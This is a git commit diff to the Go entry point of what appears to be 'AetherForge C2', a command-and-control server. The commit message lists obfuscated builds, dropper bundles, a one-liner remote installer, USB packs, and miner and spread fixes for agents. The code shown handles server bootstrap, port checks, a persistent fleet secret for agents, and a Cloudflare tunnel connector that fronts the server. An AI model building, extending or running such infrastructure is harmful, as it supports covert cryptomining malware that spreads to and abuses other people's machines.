fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -60,12 +60,29 @@ func main() {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
log.Println("AetherForge C2 starting...")
|
||||
|
||||
// Load configuration
|
||||
cfg := LoadConfig()
|
||||
projectRoot := findProjectRoot()
|
||||
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
||||
cfg := LoadConfig()
|
||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||
|
||||
if err := validateListenPort(cfg.Port); err != nil {
|
||||
log.Fatalf("Invalid listen port: %v", err)
|
||||
}
|
||||
|
||||
tok := cfg.ConnectorToken()
|
||||
tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
|
||||
if tok != "" && !tunnelExternal {
|
||||
log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
|
||||
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
|
||||
log.Printf("[tunnel] Warning: %v", err)
|
||||
} else {
|
||||
defer cloudflared.Stop()
|
||||
}
|
||||
} else if tunnelExternal {
|
||||
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
|
||||
} else {
|
||||
log.Println("[tunnel] No connector token configured")
|
||||
}
|
||||
|
||||
// Generate fleet secret once — persisted in config.json so all future forges
|
||||
// carry the same secret and agents keep working across server restarts.
|
||||
if cfg.Server.FleetSecret == "" {
|
||||
@@ -243,7 +260,7 @@ func main() {
|
||||
log.Println("Blueprint handler initialized")
|
||||
|
||||
// Initialize dropper handler (one-liner remote install)
|
||||
dropperHandler := api.NewDropperHandler(database, func() string {
|
||||
dropperHandler := api.NewDropperHandler(database, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
|
||||
@@ -260,19 +277,9 @@ func main() {
|
||||
// Initialize router
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
}, cfg.Port)
|
||||
log.Println("Router initialized")
|
||||
|
||||
tok := cfg.ConnectorToken()
|
||||
if tok != "" {
|
||||
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
|
||||
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
|
||||
log.Printf("[tunnel] Warning: %v", err)
|
||||
} else {
|
||||
defer cloudflared.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// Start server
|
||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||
log.Printf("Server listening on %s", addr)
|
||||
@@ -456,6 +463,13 @@ func findAgentSourceDir() string {
|
||||
|
||||
// resolveDataDir pins relative data paths to the project root so builds always land in
|
||||
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
||||
func validateListenPort(port int) error {
|
||||
if port < 1 || port > 65535 {
|
||||
return fmt.Errorf("port %d out of range (1–65535)", port)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func resolveDataDir(dataDir, projectRoot string) string {
|
||||
if filepath.IsAbs(dataDir) {
|
||||
return dataDir
|
||||
|
||||
Reference in New Issue
Block a user